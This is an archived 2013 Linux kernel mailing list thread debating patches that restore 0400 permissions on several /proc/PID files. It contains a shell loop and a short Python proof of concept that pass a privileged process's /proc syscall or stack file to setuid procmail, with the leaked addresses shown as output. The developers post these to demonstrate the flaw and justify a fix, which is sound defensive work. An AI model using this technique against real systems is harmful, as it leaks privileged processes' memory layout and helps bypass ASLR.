LinuxLists.cc - [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

[permalink] [raw]

Subject: [PATCH 2/2] procfs: restore 0400 permissions on /proc/*/pagemap

Do not give an fd on privileged /proc/*/pagemap files for free.

Restore the previous 0400 mode

Signed-off-by: Djalal Harouni <[email protected]>
---
fs/proc/base.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/fs/proc/base.c b/fs/proc/base.c
index 6b162cd..93a1c89 100644
--- a/fs/proc/base.c
+++ b/fs/proc/base.c
@@ -2605,7 +2605,7 @@ static const struct pid_entry tgid_base_stuff[] = {
#ifdef CONFIG_PROC_PAGE_MONITOR
REG("clear_refs", S_IWUSR, proc_clear_refs_operations),
REG("smaps", S_IRUGO, proc_pid_smaps_operations),
- REG("pagemap", S_IRUGO, proc_pagemap_operations),
+ REG("pagemap", S_IRUSR, proc_pagemap_operations),
#endif
#ifdef CONFIG_SECURITY
DIR("attr", S_IRUGO|S_IXUGO, proc_attr_dir_inode_operations, proc_attr_dir_operations),
@@ -2943,7 +2943,7 @@ static const struct pid_entry tid_base_stuff[] = {
#ifdef CONFIG_PROC_PAGE_MONITOR
REG("clear_refs", S_IWUSR, proc_clear_refs_operations),
REG("smaps", S_IRUGO, proc_tid_smaps_operations),
- REG("pagemap", S_IRUGO, proc_pagemap_operations),
+ REG("pagemap", S_IRUSR, proc_pagemap_operations),
#endif
#ifdef CONFIG_SECURITY
DIR("attr", S_IRUGO|S_IXUGO, proc_attr_dir_inode_operations, proc_attr_dir_operations),
--
1.7.11.7

2013-08-26 16:49:58

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

Djalal Harouni <[email protected]> writes:

> Avoid giving an fd on privileged files for free by switching these
> files to 0400 mode.

This seems to be a revert of Al's patch in March of 2011 based on broken
reasoning.

Al Viro commited:
> commit a9712bc12c40c172e393f85a9b2ba8db4bf59509
> Author: Al Viro <[email protected]>
> Date: Wed Mar 23 15:52:50 2011 -0400
>
> deal with races in /proc/*/{syscall,stack,personality}
>
> All of those are rw-r--r-- and all are broken for suid - if you open
> a file before the target does suid-root exec, you'll be still able
> to access it. For personality it's not a big deal, but for syscall
> and stack it's a real problem.
>
> Fix: check that task is tracable for you at the time of read().
>
> Signed-off-by: Al Viro <[email protected]>

How does changing the permissions to S_IRUSR prevent someone from
opening the file before, and reading the file after a suid exec?

> This patch restores the old mode which was 0400

Which seems to add no security whatsoever and obscure the fact that
anyone who cares can read the file so what is the point?

Eric

>
> Signed-off-by: Djalal Harouni <[email protected]>
> ---
> fs/proc/base.c | 12 ++++++------
> 1 file changed, 6 insertions(+), 6 deletions(-)
>
> diff --git a/fs/proc/base.c b/fs/proc/base.c
> index 1485e38..6b162cd 100644
> --- a/fs/proc/base.c
> +++ b/fs/proc/base.c
> @@ -2576,7 +2576,7 @@ static const struct pid_entry tgid_base_stuff[] = {
> REG("environ", S_IRUSR, proc_environ_operations),
> INF("auxv", S_IRUSR, proc_pid_auxv),
> ONE("status", S_IRUGO, proc_pid_status),
> - ONE("personality", S_IRUGO, proc_pid_personality),
> + ONE("personality", S_IRUSR, proc_pid_personality),
> INF("limits", S_IRUGO, proc_pid_limits),
> #ifdef CONFIG_SCHED_DEBUG
> REG("sched", S_IRUGO|S_IWUSR, proc_pid_sched_operations),
> @@ -2586,7 +2586,7 @@ static const struct pid_entry tgid_base_stuff[] = {
> #endif
> REG("comm", S_IRUGO|S_IWUSR, proc_pid_set_comm_operations),
> #ifdef CONFIG_HAVE_ARCH_TRACEHOOK
> - INF("syscall", S_IRUGO, proc_pid_syscall),
> + INF("syscall", S_IRUSR, proc_pid_syscall),
> #endif
> INF("cmdline", S_IRUGO, proc_pid_cmdline),
> ONE("stat", S_IRUGO, proc_tgid_stat),
> @@ -2614,7 +2614,7 @@ static const struct pid_entry tgid_base_stuff[] = {
> INF("wchan", S_IRUGO, proc_pid_wchan),
> #endif
> #ifdef CONFIG_STACKTRACE
> - ONE("stack", S_IRUGO, proc_pid_stack),
> + ONE("stack", S_IRUSR, proc_pid_stack),
> #endif
> #ifdef CONFIG_SCHEDSTATS
> INF("schedstat", S_IRUGO, proc_pid_schedstat),
> @@ -2915,14 +2915,14 @@ static const struct pid_entry tid_base_stuff[] = {
> REG("environ", S_IRUSR, proc_environ_operations),
> INF("auxv", S_IRUSR, proc_pid_auxv),
> ONE("status", S_IRUGO, proc_pid_status),
> - ONE("personality", S_IRUGO, proc_pid_personality),
> + ONE("personality", S_IRUSR, proc_pid_personality),
> INF("limits", S_IRUGO, proc_pid_limits),
> #ifdef CONFIG_SCHED_DEBUG
> REG("sched", S_IRUGO|S_IWUSR, proc_pid_sched_operations),
> #endif
> REG("comm", S_IRUGO|S_IWUSR, proc_pid_set_comm_operations),
> #ifdef CONFIG_HAVE_ARCH_TRACEHOOK
> - INF("syscall", S_IRUGO, proc_pid_syscall),
> + INF("syscall", S_IRUSR, proc_pid_syscall),
> #endif
> INF("cmdline", S_IRUGO, proc_pid_cmdline),
> ONE("stat", S_IRUGO, proc_tid_stat),
> @@ -2952,7 +2952,7 @@ static const struct pid_entry tid_base_stuff[] = {
> INF("wchan", S_IRUGO, proc_pid_wchan),
> #endif
> #ifdef CONFIG_STACKTRACE
> - ONE("stack", S_IRUGO, proc_pid_stack),
> + ONE("stack", S_IRUSR, proc_pid_stack),
> #endif
> #ifdef CONFIG_SCHEDSTATS
> INF("schedstat", S_IRUGO, proc_pid_schedstat),

2013-08-26 16:51:22

[permalink] [raw]

Subject: Re: [PATCH 2/2] procfs: restore 0400 permissions on /proc/*/pagemap

Djalal Harouni <[email protected]> writes:

> Do not give an fd on privileged /proc/*/pagemap files for free.

The same objections apply to this patch as it's predecessor so I won't
repeat them.

Eric

> Restore the previous 0400 mode
>
> Signed-off-by: Djalal Harouni <[email protected]>
> ---
> fs/proc/base.c | 4 ++--
> 1 file changed, 2 insertions(+), 2 deletions(-)
>
> diff --git a/fs/proc/base.c b/fs/proc/base.c
> index 6b162cd..93a1c89 100644
> --- a/fs/proc/base.c
> +++ b/fs/proc/base.c
> @@ -2605,7 +2605,7 @@ static const struct pid_entry tgid_base_stuff[] = {
> #ifdef CONFIG_PROC_PAGE_MONITOR
> REG("clear_refs", S_IWUSR, proc_clear_refs_operations),
> REG("smaps", S_IRUGO, proc_pid_smaps_operations),
> - REG("pagemap", S_IRUGO, proc_pagemap_operations),
> + REG("pagemap", S_IRUSR, proc_pagemap_operations),
> #endif
> #ifdef CONFIG_SECURITY
> DIR("attr", S_IRUGO|S_IXUGO, proc_attr_dir_inode_operations, proc_attr_dir_operations),
> @@ -2943,7 +2943,7 @@ static const struct pid_entry tid_base_stuff[] = {
> #ifdef CONFIG_PROC_PAGE_MONITOR
> REG("clear_refs", S_IWUSR, proc_clear_refs_operations),
> REG("smaps", S_IRUGO, proc_tid_smaps_operations),
> - REG("pagemap", S_IRUGO, proc_pagemap_operations),
> + REG("pagemap", S_IRUSR, proc_pagemap_operations),
> #endif
> #ifdef CONFIG_SECURITY
> DIR("attr", S_IRUGO|S_IXUGO, proc_attr_dir_inode_operations, proc_attr_dir_operations),

2013-08-26 17:21:01

by Al Viro

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

On Mon, Aug 26, 2013 at 09:49:48AM -0700, Eric W. Biederman wrote:

> How does changing the permissions to S_IRUSR prevent someone from
> opening the file before, and reading the file after a suid exec?
>
> > This patch restores the old mode which was 0400
>
> Which seems to add no security whatsoever and obscure the fact that
> anyone who cares can read the file so what is the point?

Two words: "security sclerosis". Both patches NAKed, of course.

2013-08-26 20:34:18

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

On Mon, Aug 26, 2013 at 09:49:48AM -0700, Eric W. Biederman wrote:
> Djalal Harouni <[email protected]> writes:
>
> > Avoid giving an fd on privileged files for free by switching these
> > files to 0400 mode.
>
> This seems to be a revert of Al's patch in March of 2011 based on broken
> reasoning.
Yes it reverts some parts of it which are not correct.

Yes the patch closes the races *during* read() time, but why the
permissions were changed ?

Note: it does not close any suid exec between open(),read(),lseek()...

History:
This is the link of the original thread that added /proc/pid/stack
support
https://lkml.org/lkml/2008/11/7/109

Quoting Andrew "I guess the 0400 mode on that file will suffice..."

Here we do not have traceble checks at open() time, and the *only*
protection at open() which is the 0400 mode was also removed!

Please do check protections for /proc/*/mem

> Al Viro commited:
> > commit a9712bc12c40c172e393f85a9b2ba8db4bf59509
> > Author: Al Viro <[email protected]>
> > Date: Wed Mar 23 15:52:50 2011 -0400
> >
> > deal with races in /proc/*/{syscall,stack,personality}
> >
> > All of those are rw-r--r-- and all are broken for suid - if you open
> > a file before the target does suid-root exec, you'll be still able
> > to access it. For personality it's not a big deal, but for syscall
> > and stack it's a real problem.
> >
> > Fix: check that task is tracable for you at the time of read().
> >
> > Signed-off-by: Al Viro <[email protected]>
>
> How does changing the permissions to S_IRUSR prevent someone from
> opening the file before, and reading the file after a suid exec?
This will block opening files owned by other users, doing a suid will
not help since you do not have an fd on the file.

There is a big difference here:

Currently you can get an fd on /proc/1/stack or whatever root owned
process or files, later just do a suid exec to read from it.

But with this simple change you can't. You will be able to open and get
an fd only on the files owned by you (or the same user). Of course you
can do a suid exec but you will only read input from this suid exec.
You will not be able to read from arbitrary processes.

There is a reason that these files were made 0400. Al's commit
stated that currently all these files are "rw-r--r--" so add a check to
close a race, but these files were "r--------" before the commit and not
"r--r--r--" and it mistakenly changed them.

> > This patch restores the old mode which was 0400
>
> Which seems to add no security whatsoever and obscure the fact that
> anyone who cares can read the file so what is the point?
Well, I guess there is a big difference between 0400 and 0444

--
Djalal Harouni
http://opendz.org

2013-08-27 17:24:12

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

Hi Al,

On Mon, Aug 26, 2013 at 06:20:55PM +0100, Al Viro wrote:
> On Mon, Aug 26, 2013 at 09:49:48AM -0700, Eric W. Biederman wrote:
>
> > How does changing the permissions to S_IRUSR prevent someone from
> > opening the file before, and reading the file after a suid exec?
> >
> > > This patch restores the old mode which was 0400
> >
> > Which seems to add no security whatsoever and obscure the fact that
> > anyone who cares can read the file so what is the point?
>
> Two words: "security sclerosis". Both patches NAKed, of course.
These particular tissues "are being hardened", no cure for them

More seriously, Al your commit a9712bc12c40c172e393f85 closes the races
during read() ok, but can you please share some light why the permission
mode was changed ?

1)
The commit log states that all these files are "rw-r--r--" which was not
correct, they were "r--------" before that commit.

2)
The commit log says also:
"if you open a file before the target does suid-root exec, you'll be still
able to access it." so you do the task is tracable check at read()

But what if you open a file of a privileged target or a target that does
suid-root exec later, and pass the fd to a suid-root exec to read() from
it later, you will still pass that tracable check.

And currently a non-privileged process can get an fd on all these
/proc/*/stack files even root owned ones.

So why not restore the old behaviour and block a process from getting an
fd on /proc/*/stack files that belong to other processes?

The original thread that added the /proc/*/stack feature:
https://lkml.org/lkml/2008/11/7/109

They noted that it should be under 0400 permissions

So why remove that, or why not restore the old safe behaviour ?

Hope to get a response

Thanks Al

--
Djalal Harouni
http://opendz.org

2013-08-28 20:11:53

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

Cc'ed more people,

On Tue, Aug 27, 2013 at 06:24:06PM +0100, Djalal Harouni wrote:
> Hi Al,
>
> On Mon, Aug 26, 2013 at 06:20:55PM +0100, Al Viro wrote:
> > On Mon, Aug 26, 2013 at 09:49:48AM -0700, Eric W. Biederman wrote:
> >
> > > How does changing the permissions to S_IRUSR prevent someone from
> > > opening the file before, and reading the file after a suid exec?
> > >
> > > > This patch restores the old mode which was 0400
> > >
> > > Which seems to add no security whatsoever and obscure the fact that
> > > anyone who cares can read the file so what is the point?
> >
> > Two words: "security sclerosis". Both patches NAKed, of course.
> These particular tissues "are being hardened", no cure for them
>
>
> More seriously, Al your commit a9712bc12c40c172e393f85 closes the races
> during read() ok, but can you please share some light why the permission
> mode was changed ?
>
> 1)
> The commit log states that all these files are "rw-r--r--" which was not
> correct, they were "r--------" before that commit.
>
> 2)
> The commit log says also:
> "if you open a file before the target does suid-root exec, you'll be still
> able to access it." so you do the task is tracable check at read()
>
> But what if you open a file of a privileged target or a target that does
> suid-root exec later, and pass the fd to a suid-root exec to read() from
> it later, you will still pass that tracable check.
>
> And currently a non-privileged process can get an fd on all these
> /proc/*/stack files even root owned ones.
>
> So why not restore the old behaviour and block a process from getting an
> fd on /proc/*/stack files that belong to other processes?
>
>
> The original thread that added the /proc/*/stack feature:
> https://lkml.org/lkml/2008/11/7/109
>
> They noted that it should be under 0400 permissions
>
> So why remove that, or why not restore the old safe behaviour ?
>
>
> Hope to get a response
>
> Thanks Al

Hope this will convince.

Please not I'm just trying to help/contribute and get things right.
If there is something obvious that I'm missing let me know, will
be happy to learn

tixxdz@dztty-qemu:~$ id
uid=1000(tixxdz) gid=1000(tixxdz)
groups=1000(tixxdz),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)

tixxdz@dztty-qemu:~$ ls -lha ./a.out
-rwxr-xr-x 1 tixxdz tixxdz 8.0K Aug 28 20:26 ./a.out

tixxdz@dztty-qemu:~$ ls -lha /usr/bin/procmail
-rwsr-sr-x 1 root mail 88K Apr 25 2010 /usr/bin/procmail

(procmail with -d needs setuid())

tixxdz@dztty-qemu:~$ for i in $(seq 1 10); do ./a.out /usr/bin/procmail
/proc/$i/stack ; done

tixxdz@dztty-qemu:~$ cat /var/mail/tixxdz
[<ffffffff811b6537>] poll_schedule_timeout+0x57/0xe0
[<ffffffff811b70c7>] do_select+0x8b7/0x9a0
[<ffffffff811b766c>] core_sys_select+0x4bc/0x4f0
[<ffffffff811b7761>] SyS_select+0xc1/0x110
[<ffffffff81aef5e9>] system_call_fastpath+0x16/0x1b
[<ffffffffffffffff>] 0xffffffffffffffff

[<ffffffff8108a6e1>] kthreadd+0xb1/0x150
[<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
[<ffffffffffffffff>] 0xffffffffffffffff

[<ffffffff8109389e>] smpboot_thread_fn+0x1be/0x220
[<ffffffff8108a1b1>] kthread+0xd1/0xe0
[<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
[<ffffffffffffffff>] 0xffffffffffffffff

[<ffffffff81081610>] worker_thread+0x2e0/0x370
[<ffffffff8108a1b1>] kthread+0xd1/0xe0
[<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
[<ffffffffffffffff>] 0xffffffffffffffff

[<ffffffff81081610>] worker_thread+0x2e0/0x370
[<ffffffff8108a1b1>] kthread+0xd1/0xe0
[<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
[<ffffffffffffffff>] 0xffffffffffffffff

[<ffffffff81081610>] worker_thread+0x2e0/0x370
[<ffffffff8108a1b1>] kthread+0xd1/0xe0
[<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
[<ffffffffffffffff>] 0xffffffffffffffff

[<ffffffff8109389e>] smpboot_thread_fn+0x1be/0x220
[<ffffffff8108a1b1>] kthread+0xd1/0xe0
[<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
[<ffffffffffffffff>] 0xffffffffffffffff

[<ffffffff811020f3>] rcu_gp_kthread+0xe3/0x620
[<ffffffff8108a1b1>] kthread+0xd1/0xe0
[<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
[<ffffffffffffffff>] 0xffffffffffffffff

[<ffffffff811023b4>] rcu_gp_kthread+0x3a4/0x620
[<ffffffff8108a1b1>] kthread+0xd1/0xe0
[<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
[<ffffffffffffffff>] 0xffffffffffffffff

[<ffffffff8109389e>] smpboot_thread_fn+0x1be/0x220
[<ffffffff8108a1b1>] kthread+0xd1/0xe0
[<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
[<ffffffffffffffff>] 0xffffffffffffffff

You have mail in /var/mail/tixxdz

Thanks

--
Djalal Harouni
http://opendz.org

2013-08-28 20:49:09

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

On Wed, Aug 28, 2013 at 1:11 PM, Djalal Harouni <[email protected]> wrote:
> Cc'ed more people,
>
> On Tue, Aug 27, 2013 at 06:24:06PM +0100, Djalal Harouni wrote:
>> Hi Al,
>>
>> On Mon, Aug 26, 2013 at 06:20:55PM +0100, Al Viro wrote:
>> > On Mon, Aug 26, 2013 at 09:49:48AM -0700, Eric W. Biederman wrote:
>> >
>> > > How does changing the permissions to S_IRUSR prevent someone from
>> > > opening the file before, and reading the file after a suid exec?
>> > >
>> > > > This patch restores the old mode which was 0400
>> > >
>> > > Which seems to add no security whatsoever and obscure the fact that
>> > > anyone who cares can read the file so what is the point?
>> >
>> > Two words: "security sclerosis". Both patches NAKed, of course.
>> These particular tissues "are being hardened", no cure for them
>>
>>
>> More seriously, Al your commit a9712bc12c40c172e393f85 closes the races
>> during read() ok, but can you please share some light why the permission
>> mode was changed ?
>>
>> 1)
>> The commit log states that all these files are "rw-r--r--" which was not
>> correct, they were "r--------" before that commit.
>>
>> 2)
>> The commit log says also:
>> "if you open a file before the target does suid-root exec, you'll be still
>> able to access it." so you do the task is tracable check at read()
>>
>> But what if you open a file of a privileged target or a target that does
>> suid-root exec later, and pass the fd to a suid-root exec to read() from
>> it later, you will still pass that tracable check.
>>
>> And currently a non-privileged process can get an fd on all these
>> /proc/*/stack files even root owned ones.
>>
>> So why not restore the old behaviour and block a process from getting an
>> fd on /proc/*/stack files that belong to other processes?
>>
>>
>> The original thread that added the /proc/*/stack feature:
>> https://lkml.org/lkml/2008/11/7/109
>>
>> They noted that it should be under 0400 permissions

Yes, this was discussed years ago -- these files must be 0400 _and_
perform at-read checks.

https://lkml.org/lkml/2011/2/10/21

This is all related to
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1020

Which had the following fixes, but broken file access perms in several places:

http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=a9712bc12c40c172e393f85a9b2ba8db4bf59509
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2fadaef41283aad7100fa73f01998cddaca25833
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=d6f64b89d7ff22ce05896ab4a93a653e8d0b123d
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ec6fd8a4355cda81cd9f06bebc048e83eb514ac7
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ca6b0bf0e086513b9ee5efc0aa5770ecb57778af

So instead of needing to survive exec, now the file can just be passed as stdin.

>>
>> So why remove that, or why not restore the old safe behaviour ?
>>
>>
>> Hope to get a response
>>
>> Thanks Al
>
> Hope this will convince.
>
> Please not I'm just trying to help/contribute and get things right.
> If there is something obvious that I'm missing let me know, will
> be happy to learn
>
>
> tixxdz@dztty-qemu:~$ id
> uid=1000(tixxdz) gid=1000(tixxdz)
> groups=1000(tixxdz),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
>
> tixxdz@dztty-qemu:~$ ls -lha ./a.out
> -rwxr-xr-x 1 tixxdz tixxdz 8.0K Aug 28 20:26 ./a.out
>
> tixxdz@dztty-qemu:~$ ls -lha /usr/bin/procmail
> -rwsr-sr-x 1 root mail 88K Apr 25 2010 /usr/bin/procmail
>
> (procmail with -d needs setuid())
>
> tixxdz@dztty-qemu:~$ for i in $(seq 1 10); do ./a.out /usr/bin/procmail
> /proc/$i/stack ; done

Can you include your C file for your a.out? I assume you're opening
/proc/$i/stack and duping to stdin for a "procmail -d tixxdz" call,
and I can reproduce this with the following python, but I want to be
sure I'm seeing the same bug.

#!/usr/bin/python
import sys
from subprocess import call
call(["/usr/bin/procmail", "-d", sys.argv[2]], stdin=open(sys.argv[1]))

$ ps -ef | grep apache2 | grep root
root 3781 1 0 Jul28 ? 00:00:37 /usr/sbin/apache2 -k start
$ cat /proc/3781/stack
cat: /proc/3781/stack: Operation not permitted
$ /tmp/dup-stdin.py /proc/3781/syscall kees
$ cat /var/mail/kees
23 0x0 0x0 0x0 0x0 0x7fffa29c9cf0 0x1 0x7fffa29c9d18 0x7f1b76bbd233

So, local ASLR bypass using a setuid helper.

One shouldn't be able to open these files in the first place.

-Kees

>
> tixxdz@dztty-qemu:~$ cat /var/mail/tixxdz
> [<ffffffff811b6537>] poll_schedule_timeout+0x57/0xe0
> [<ffffffff811b70c7>] do_select+0x8b7/0x9a0
> [<ffffffff811b766c>] core_sys_select+0x4bc/0x4f0
> [<ffffffff811b7761>] SyS_select+0xc1/0x110
> [<ffffffff81aef5e9>] system_call_fastpath+0x16/0x1b
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff8108a6e1>] kthreadd+0xb1/0x150
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff8109389e>] smpboot_thread_fn+0x1be/0x220
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff81081610>] worker_thread+0x2e0/0x370
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff81081610>] worker_thread+0x2e0/0x370
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff81081610>] worker_thread+0x2e0/0x370
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff8109389e>] smpboot_thread_fn+0x1be/0x220
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff811020f3>] rcu_gp_kthread+0xe3/0x620
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff811023b4>] rcu_gp_kthread+0x3a4/0x620
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff8109389e>] smpboot_thread_fn+0x1be/0x220
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> You have mail in /var/mail/tixxdz
>
>
> Thanks
>
> --
> Djalal Harouni
> http://opendz.org

--
Kees Cook
Chrome OS Security

2013-08-28 21:11:27

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

On Wed, Aug 28, 2013 at 01:49:06PM -0700, Kees Cook wrote:
> On Wed, Aug 28, 2013 at 1:11 PM, Djalal Harouni <[email protected]> wrote:
[...]
> >> 2)
> >> The commit log says also:
> >> "if you open a file before the target does suid-root exec, you'll be still
> >> able to access it." so you do the task is tracable check at read()
> >>
> >> But what if you open a file of a privileged target or a target that does
> >> suid-root exec later, and pass the fd to a suid-root exec to read() from
> >> it later, you will still pass that tracable check.
> >>
> >> And currently a non-privileged process can get an fd on all these
> >> /proc/*/stack files even root owned ones.
> >>
> >> So why not restore the old behaviour and block a process from getting an
> >> fd on /proc/*/stack files that belong to other processes?
> >>
> >>
> >> The original thread that added the /proc/*/stack feature:
> >> https://lkml.org/lkml/2008/11/7/109
> >>
> >> They noted that it should be under 0400 permissions
>
> Yes, this was discussed years ago -- these files must be 0400 _and_
> perform at-read checks.
>
> https://lkml.org/lkml/2011/2/10/21
>
> This is all related to
> http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1020
>
> Which had the following fixes, but broken file access perms in several places:
>
> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=a9712bc12c40c172e393f85a9b2ba8db4bf59509
> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2fadaef41283aad7100fa73f01998cddaca25833
> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=d6f64b89d7ff22ce05896ab4a93a653e8d0b123d
> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ec6fd8a4355cda81cd9f06bebc048e83eb514ac7
> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ca6b0bf0e086513b9ee5efc0aa5770ecb57778af
Yes thanks Kees, they are all related.

> > tixxdz@dztty-qemu:~$ id
> > uid=1000(tixxdz) gid=1000(tixxdz)
> > groups=1000(tixxdz),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
> >
> > tixxdz@dztty-qemu:~$ ls -lha ./a.out
> > -rwxr-xr-x 1 tixxdz tixxdz 8.0K Aug 28 20:26 ./a.out
> >
> > tixxdz@dztty-qemu:~$ ls -lha /usr/bin/procmail
> > -rwsr-sr-x 1 root mail 88K Apr 25 2010 /usr/bin/procmail
> >
> > (procmail with -d needs setuid())
> >
> > tixxdz@dztty-qemu:~$ for i in $(seq 1 10); do ./a.out /usr/bin/procmail
> > /proc/$i/stack ; done
>
> Can you include your C file for your a.out? I assume you're opening
> /proc/$i/stack and duping to stdin for a "procmail -d tixxdz" call,
> and I can reproduce this with the following python, but I want to be
> sure I'm seeing the same bug.
Yes it's exaclty the same PoC and bug

> #!/usr/bin/python
> import sys
> from subprocess import call
> call(["/usr/bin/procmail", "-d", sys.argv[2]], stdin=open(sys.argv[1]))
>
>
> $ ps -ef | grep apache2 | grep root
> root 3781 1 0 Jul28 ? 00:00:37 /usr/sbin/apache2 -k start
> $ cat /proc/3781/stack
> cat: /proc/3781/stack: Operation not permitted
> $ /tmp/dup-stdin.py /proc/3781/syscall kees
> $ cat /var/mail/kees
> 23 0x0 0x0 0x0 0x0 0x7fffa29c9cf0 0x1 0x7fffa29c9d18 0x7f1b76bbd233
>
> So, local ASLR bypass using a setuid helper.
>
> One shouldn't be able to open these files in the first place.
Yes that's what I've been trying to say:
https://lkml.org/lkml/2013/8/26/354

Hope that Al will peek the patches.

Thanks

--
Djalal Harouni
http://opendz.org

2013-08-29 00:27:08

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

I have take a moment and read this thread, and have been completely
unenlightend. People are upset but it is totally unclear why.

There is no explanation why it is ok to ignore the suid-exec case, as
the posted patches do. Which ultimately means the patches provide
little to no security benefit, and that the posted patches as written
are broken.

There is no clear explanation of what people are worried about.
References to other threads and other commits do not help.

Can someome please state what they are worried about in simple language
step by step?

I see absolutely nothing to overturn Al's analysis that these files
simply don't need protection.

The closest I saw in the thread was people were worried about ASLR being
defeated. All I see are kernel addresses and we don't have much if any
runtime or even load time randomization of where code is located in the
kernel address map on x86_64. So I don't understand the concern.

Certainly all of the clever applications and use of suid apps appear to
be jumping around crazy hoops and to achieve what I can achieve with a
simple cat of a file.

Eric

2013-08-29 00:30:26

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

On Wed, Aug 28, 2013 at 5:26 PM, Eric W. Biederman
<[email protected]> wrote:
> Can someome please state what they are worried about in simple language
> step by step?
> [...]
> The closest I saw in the thread was people were worried about ASLR being
> defeated. All I see are kernel addresses and we don't have much if any
> runtime or even load time randomization of where code is located in the
> kernel address map on x86_64. So I don't understand the concern.

I showed the output of "syscall", since that contains user-space
addresses and shows a leak of ASLR from a privileged process to an
unprivileged process.

The flaw as I see it is that an unprivileged process opens
/proc/$priv_pid/syscall and passes it to a setuid process which is
able to read it, and provides those contents to the unprivileged
process.

The unprivileged process should not be able to the open the file in
the first place.

-Kees

--
Kees Cook
Chrome OS Security

2013-08-29 01:08:45

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

Kees Cook <[email protected]> writes:

> On Wed, Aug 28, 2013 at 5:26 PM, Eric W. Biederman
> <[email protected]> wrote:
>> Can someome please state what they are worried about in simple language
>> step by step?
>> [...]
>> The closest I saw in the thread was people were worried about ASLR being
>> defeated. All I see are kernel addresses and we don't have much if any
>> runtime or even load time randomization of where code is located in the
>> kernel address map on x86_64. So I don't understand the concern.
>
> I showed the output of "syscall", since that contains user-space
> addresses and shows a leak of ASLR from a privileged process to an
> unprivileged process.
>
> The flaw as I see it is that an unprivileged process opens
> /proc/$priv_pid/syscall and passes it to a setuid process which is
> able to read it, and provides those contents to the unprivileged
> process.
>
> The unprivileged process should not be able to the open the file in
> the first place.

I see so the complaint is that we don't give read permission but we do
give open permission. Which is a variant of: the permissions used to
open are not the permission used to access the file.

This does seem to be a legitimate concern.

I think there are several discussions that have been going on lately
with respect to this class of problems in proc files.

Given the existence of suid exec we can not in general prevent this
class of bugs with a check at open time.

I believe the solution needs to be to enhance the ptrace_may_access
checks to verify that both the creds of the current task and the creds
of the opening process would have allowed the access.

We may want to put this check in permission so open fails quickly but
we absolutely need to put this check in at the time we call
ptrace_may_access.

Eric

2013-08-29 03:33:23

